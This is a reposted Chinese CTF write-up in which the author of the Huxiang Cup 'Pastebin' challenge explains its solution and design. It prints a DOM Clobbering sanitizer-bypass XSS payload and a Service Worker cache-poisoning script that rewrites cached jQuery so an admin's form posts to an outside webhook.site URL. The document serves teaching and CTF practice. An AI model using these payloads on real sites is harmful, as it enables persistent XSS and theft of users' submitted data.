-
-
[转帖]第七届“湖湘杯” Pastebin|设计思路与解析
-
发表于: 2021-11-25 17:19 7024
-
本题由zeddy师傅提供,赛后将该题的设计思路公开,供大家学习交流。
本篇分为两部分,第一部分就是解题步骤,第二部分说一下出题过程、设计思路,以及一些不足之处。文末给出本题的附件,各种感兴趣的师傅们可以玩下。
约法X章
Dom Clobbeing + Poison Browser Cache( Service Worker Cache)
- Dom Clobbering 绕过第一步,执行 xss
- 污染 Service Worker Cache 做持久化 xss: https://swcacheattack.secpriv.wien/
Part I - Solution
这里我们就从预期来讲解题思路。
Dom Clobbering
通过审计代码或者通过各种“点点点”了解到题目提供一个类似 Pastebin 的功能,支持账号注册登录,然后在展示 Pastebin 的页面存在如下代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 | <script src = "/static/js/sanitize-min.js" >< / script> <script> function get( id ) { return $.get( '/paste/' + id ).fail(() = > { throw "can't fetch paste" ; }).then((data) = > { return atob(data); }); } async function do_things( id ) { try { var html = await get( id ); var doc = new DOMParser().parseFromString(html, "text/html" ); / / You don't need math and svg. I hate these guys. / / Of course you don't need base and object . These are evil monster. if (doc.querySelectorAll( "math" ).length ! = = 0 || doc.querySelectorAll( "svg" ).length ! = = 0 || doc.querySelectorAll( "base" ).length ! = = 0 || doc.querySelectorAll( "object" ).length ! = = 0 ){ console.log( "filtered" ); return "<b>Your paste have been filtered</b>" ; } html = safepaste.sanitize(html); } catch(e) { / / fetch failed console.log(e) } return html; } window.addEventListener( 'load' , async (event) = > { var paste_id = '<%= typeof pasteid != ' undefined ' ? pasteid : ' ' %>' ; var html = await do_things(paste_id); document.getElementById( 'content' ).innerHTML = html; }); < / script> |
这里借鉴了其他比赛的一个知识点,但是就当时比赛情况来说,网络搜索是找不到这个知识点和 exp 的。所以这里需要选手简单跟一下 sanitize-min.js ,可以知道使用了 Google Closure Lib ,之后我们可以利用 Dom Clobbering 来绕过前面的 sanitize 的过滤。
并且我们注意到,对于使用 try/catch
发生错误并不会影响 JS 函数继续执行,例如:
1 2 3 4 5 6 7 8 9 10 11 12 | function sanitize(b) { b.removeChild(); } function t() { try { var html = 'evil' ; html = sanitize( '1' ) } catch(e) { console.log(e) } return html; } |
这里很明显 sanitize
会产生一个 TypeError
错误:TypeError: b.removeChild is not a function
,但是仍然会执行 return
也就返回了 html
变量,也就是说我们可以通过这种办法绕过 sanitize
过滤。
最后使用的绕过 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | <form><form>< input name = removeChild>< / form>< / form> <img src = x onerror = alert( 1337 )> <! - - <https: / / github.com / google / closure - library / blob / 7c090b4e2743919bc3756cda2e07ee203312ead8 / closure / goog / dom / dom.js #L1204> --> <! - - 存在如下代码可以进行 clobbering goog.dom.removeChildren = function(node) { / / Note: Iterations over live collections can be slow, this is the fastest / / we could find. The double parenthesis are used to prevent JsCompiler and / / strict warnings. var child; while ((child = node.firstChild)) { node.removeChild(child); } }; - - > |
Poison Browser Cache
我们可以执行 XSS 之后呢?可以干嘛呢?我们可以通过附件代码中看到 bot 的 cookie 设置:
1 2 3 4 5 6 7 8 9 10 11 12 13 | / / express session app.use(session({ secret: SESSION_SECRET, resave: false, saveUninitialized: true, name: 'ctf-session' , cookie: { secure: true, httpOnly: true, sameSite: 'lax' , }, })) |
启用了 httpOnly 我们无法直接 X 到 admin 的 cookie 了,并且在 bot.js 中我们还可以看到 bot 的行为:
- 首先使用 admin 账号密码登录
1 2 3 4 5 6 7 8 9 10 | await page.goto(challURL + "/user/login" , { timeout: 2000 , }); await page. type ( "#username" , "admin" , { delay: 100 , }); await page. type ( "#password" , ADMIN_PASS, { delay: 100 , }); await page.click( "#submit" ); |
- 访问用户创建的 Paste
1 2 3 | await page.goto(url, { timeout: 2000 , }); |
- 访问管理员的界面
1 2 3 4 5 | let r = await page.goto(challURL + "/admin/paste/" + hash , { timeout: 2000 , }); await page.waitForSelector( "#send" ); await page.click( "#send" ); |
- 在管理员界面向用户提交 flag
1 2 3 4 5 | await page.waitForSelector( "#remarks" ); await page. type ( "#remarks" , FLAG, { delay: 200 , }); await page.click( "#submit" ); |
首先我们知道寻常的 XSS 在这里作用极其有限了,毕竟 admin 在访问我们的页面后再访问了两个页面才输入 FLAG ,这正是我们需要去获取的。所以我们得找一些其他方法来完成后面的攻击获取 FLAG 。
观察页面,其中注册了 Service Worker ,并且使用 Workbox 缓存了 js 等静态文件:
1 2 3 4 5 6 | workbox.routing.registerRoute( / \.(?:js|css)$ / , new workbox.strategies.CacheFirst({ cacheName: "static-resources" , }) ); |
我们可以通过搜索学习了解到 Workbox 其实本质也是 Service Worker ,可以用来缓存一些静态文件。
这部分出题灵感来源于 IEEE Workshop: The Remote on the Local: Exacerbating Web Attacks Via Service Workers Caches
这个论文可以不用看完,看个大概我们就可以明白这个攻击用来干什么的,就是可以通过 JS 对某些没有检查来源的 SW 缓存的静态文件进行替换。你可以通过上面网站的 demo 简单体验一下。
简单理解一下 demo 提供的 exp ,可以看到前几步我们可以通过 JS 将 ServiceWorker 缓存的静态文件 Cache 内容读取出来了。接下来就是使用简单的替换尝试:
明白了怎么替换之后,那替换什么呢?我们可以发现 header.ejs
中全局引入了 JQuery ,所以我们或许可以尝试替换这个来实现我们持久化 XSS 的目的。
所以明白了这点之后,后面基本就迎刃而解了,替换 JQuery 的文件内容,并且 Hook Admin 提交 FLAG 的页面的表单地址即可。简单 exp 如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 | (async () = > { let e = "/static/js/jquery.min.js" , / / 注意使用绝对路径,这个路径是 jQuery 的缓存路径 t = await caches. open ( "static-resources" ), / / 打开缓存 a = await t.match(e), / / 查找缓存中是否存在这个文件 s = await a.text(); / / 获取文件内容 await t.put(e, new Response(s.replace( "jQuery=C.$=S),S});" , `jQuery = C.$ = S),S});$(document).ready(function() { if (document.URL.endsWith( '/comment' )){document.forms[ 0 ].action = 'https://webhook.site/817c735d-d090-40cb-b7a3-1c6cf73210d1' }});`), / / 随便找 jquery 文件里的一行内容进行替换,hook comment 路径的表单 action ,当 admin 提交的时候就会提交到我们的 webhook http log 上了 { status: 200 , statusText: "OK" , headers: a.headers })) })(); |
另外, Workbox 本身实质上也是 Service Worker ,只不过提供了一些比较方便的 API ,可以说是 Service Worker 的集合,所以论文的 exp 并不需要经过什么其他操作,直接拿出来就可以改。这里唯一可能需要做一点思考的是,如何 hook 掉 admin 提交 flag ,这里可以有很多方式 hook 掉,比如说因为 bot 根据 id 查找输入框,所以你可以直接向页面注入另一个 id 相同的输入框;当然最简单的我觉得应该是 hook 表单的 action 即可。
Part II - Digression
以下都是我尝试出一道好的、一道“做起来令人舒服”、一道做起来有收获的 CTF 赛题的一些想法与思考。
不足之处
预期是一开始放题就给源码,可是由于工作人员一时疏忽,把我后面单独给他们的附件忽略了(这里我也有一小部分锅,没有把附件一起放在题目环境给工作人员),导致该题上线后两小时内是黑盒题。有选手在2小时内能拿到admin界面,距离解决问题已经非常接近了,毕竟最后一步就是改个 exp 的问题而已。据此来说,我觉得黑盒做第一步是没有太大影响的,第二步确实是需要了解 admin 的行为以及 admin 功能才能继续做下去。
对于 URL 提交错误,其实这里我也并没有想恶心人的意思,这里一开始按照我的预期都是按照一开始放源码附件的,黑盒提交 URL 错误确实有点恶心人,不过好像在后面工作人员对题目进行了补充说明,影响应该不算很大。
我出题的时候考虑过给不给源码的问题,bot.js 也就是 bot 的行为肯定是要给的,因为这不是默认正常的 bot 行为,以及 admin 的功能也是必要的,其他的基本可有可无,最终我还是在开赛前决定放绝大部分源码给大家,因为我也喜欢可以直接本地调试的题目。所以最终是放出的附件,除了 bot 部分无法搭建(但是选手可以自己模拟,bot 行为基本上都在 bot.js 当中),其他都可以本地调试。
此外,这题给到选手的做题时间较少,没能充分的让选手发挥出自己的能力。
关于出题
起初是9月30日,@19 找我说给某个比较重要的公开赛出个题目(当时也没有说规模性质啥的),并且难度是中高难度的,适合一天内做出来的题目。由于我已经挺久不挖 Real World 了,而且还要给一个国内比较重要的比赛出题目,当时我内心比较拒绝的。
在出这个题的时候,我在思考对于国内选手来说 CTF 意味着什么?我怎么才能出一道好的 CTF 题?一道“做起来令人舒服”的题?一道做起来有收获的题?
这里说一下个人短见,因为我主要做 Web 方向,我个人认为对于 Web 方向的 CTF 题目目前国内主要有两种类型,一类是国内呼声比较高的,让 CTF 回归到实战,出一些对于实战思路有所帮助的 CTF ,这类 CTF 对口人群为一些一线红队、大攻击队队员等;另一类则是比较偏理论、偏理想类型的 CTF ,这类 CTF 对口人群为一些安全研究人员、各高校机构研究生等。
实战类型的 CTF ,近几年比较代表性的比如之前强网杯的一个注入题,很显要地注明着“出题灵感来源于实战。安全与开发缺一不可”一行大字,印象里可以通过堆叠做出那个题。出这一类题目需要大量的实战经验、总结,才能出一些比较精髓的实战题目。而我,平平无奇的小菜鸡,还没有那么丰富的一线实战经验,没有能力出一道比较精髓的偏实战类型的题目,所以我当时只想着尽力去尝试出一道第二种类型的 CTF 题。
而第二种类型的题目往往受众没有那么多,大部分选手没有对于一些比较理想化的、偏离国内实战的攻击并不在意。再根据我为数不多的国内 CTF 比赛经历,一部分题目还是僵持于一些 PHP 知识,另一部分则是老难老难的 Java 题了。前者 PHP 玩烂了,自己没什么新想法,后者自己都半斤八两,更别说出题了。
所以既然是为了出一个好的 CTF 题,我把之前参加过的一些比赛知识点复盘了一遍,最后发现还是出一个 XSS 的比较好。一方面浏览器、前端这方面可玩性很多,一方面也因为国内这类赛题比较少,尽管这个比赛比较的“功利性”,我还是尽量去往 for fun 的方向去尝试出这么个题目。(赛后我问了一些关系比较好的选手,他们甚至题目都没有打开,甚至不知道有附件。)
最后敲定了以污染 Service Worker Cache 为核心的知识考点,外层使用 DOM Clobbering 包装的知识考点体系。因为本题的两个知识考点都不算新的知识点,都是可以通过网络上搜索,加上一些调试,再加上自己的一些理解修改做出来的,所以整体上,我觉得对于一般 CTF 经验较为丰富的选手来说一天之内做出来没什么太大的问题。实际上应该也差不多,这个题2小时内有选手过了第一步,虽然最后比较可惜没有做出来,但是后面跟选手交流,他们有意识到去污染 Service Worker ,说明还是比较接近做出题目了,如果能给更多一些时间来做这个题,应该也能做得出来。
关于对抗非预期
确定好知识考点体系之后,出黑盒还是白盒?Service Worker Cache 使用共享环境到底会不会影响其他选手的做题体验?怎么方便快捷地配置 HTTPS ?如何防止 Chrome 0day ?如何防止一些 base 注入的非预期?等等一系列问题都接踵而来。我耗费了比较多的精力在对抗非预期上面,由于出题的保密性,我还不能跟其他朋友讨论自己遇到的涉及题目的问题,所以对抗非预期整个过程更像是与自己斗智斗勇,出一个没有非预期的题目也更考验出题人知识面,如果自己的知识面没有比较完全地覆盖,极有可能被选手非预期做出来。
对于用户输入来说,肯定输入的越多,漏洞点可能就越多,所以我极力限制了用户传入 Paste 地址到 bot 访问 Paste 地址的这一过程的输入点,干脆直接不让用户输入任意地址,只根据用户传入的 Paste 自己实现功能去查是哪个用户提交的。
对于一些显而易见搜索到的 exp ,如果是我之前,我肯定不知道怎么才能构造一个比较好的 Sandbox 环境去过滤用户输入的富文本,后来通过搜索得知,我可以通过 DOMParser
来提取一个标签是否正尝试被插入到页面当中:
1 2 3 4 5 6 7 | var doc = new DOMParser().parseFromString(html, "text/html" ); / / You don't need math and svg. I hate these guys. / / Of course you don't need base and object . These are evil monster. if (doc.querySelectorAll( "math" ).length ! = = 0 || doc.querySelectorAll( "svg" ).length ! = = 0 || doc.querySelectorAll( "base" ).length ! = = 0 || doc.querySelectorAll( "object" ).length ! = = 0 ){ console.log( "filtered" ); return "<b>Your paste have been filtered</b>" ; } |
这里过滤了几个比较容易产生非预期的标签,尤其是 svg 这个比较魔法的标签。
CSP 需不需要加呢?再三考虑之后,我决定还是加 CSP 比较好,毕竟也能从一定程度上限制非预期,当然因为我也是一个比较懒的人,对于 exp 提交比较喜欢用 eval ,所以 CSP 这里我也没有做过多苛刻的限制,如果加的过多可能就又产生新的考点,也比较恶心,所以为了符合我最初的想法——“出一个令人做起来舒服的题目”,我这里就干脆把执行 JS 的限制开放到了算是最大限度: script-src 'self' 'unsafe-inline' 'unsafe-eval' https://cdn.jsdelivr.net/;
。在选手完成第一步之后,到达可以执行 JS 的时候,可以有很多选择,无需再 bypass 其他限制,可以进一步思考如何完成下一步的攻击。
关于 Puppeteer
其中比较令我头大的还是对于 bot 的开发,如何构建一个高效率的 bot ?在这个地方我也花费了很多精力用于改造这个 bot ,哪种方式接收 url 最好?不会阻塞 express 响应又可以比较完美地执行一系列的操作。当然这个地方我觉得自己写的代码处理的并不是很好,所以在附件中,我就只开源了部分对题目进度又帮助的部分,这里仅仅提供一个我的做法的大概思路:使用一个数组做先进先出的队列,bot 会通过这个队列对选手提交的 URL 依次进行访问,进行访问也就是通过调用一个异步函数来实现。当然我这里个人觉得应该另起一个进程比较好,这样就不会过多地对 Web 进程造成过多地干扰。
关于构造 bot 的这块,虽然我做了比较多的 xss 题,但是开源 bot 的比赛确实比较少,我对 puppeteer bot 开发的经验也比较少,这次也是我第一次从头构造一个 XSS 题目的 bot ,所以其中收获也比较多,如果这里有师傅有比较好的经验,还请师傅不吝赐教。
最后
由于我确定好出题考点之后留给我的时间并不多,所以我直接借用了某个比赛的一个题的 Web 框架作为基础,在此基础上做了功能的增加修改完善,相对于做题、验题的时间,我花在开发的时间基本上是做题、验题时间的好几倍。最后做完交付都到了比赛前一周 orz (吹一波 Github Copilot
,这玩意确实强,帮我在写代码的时候省了很多码代码的时间。)
尽管可能这个题放出来的时候最后变得有所背离我 “出一道好的 CTF 题、一道做起来令人舒服的题、一道做起来有收获的题” 的初衷,但是我仍然希望看到这里的选手能通过这篇文章的一些讲解有所收获,也希望你能从比赛中收获的不止是金钱、名誉,更多还是希望大家能从中收获一些知识。
最后的最后,感谢你来玩我出的题。
本题附件:
https://github.com/chunqiugame/cqb_writeups/raw/master/2021hxb/pastebin_attachment.zip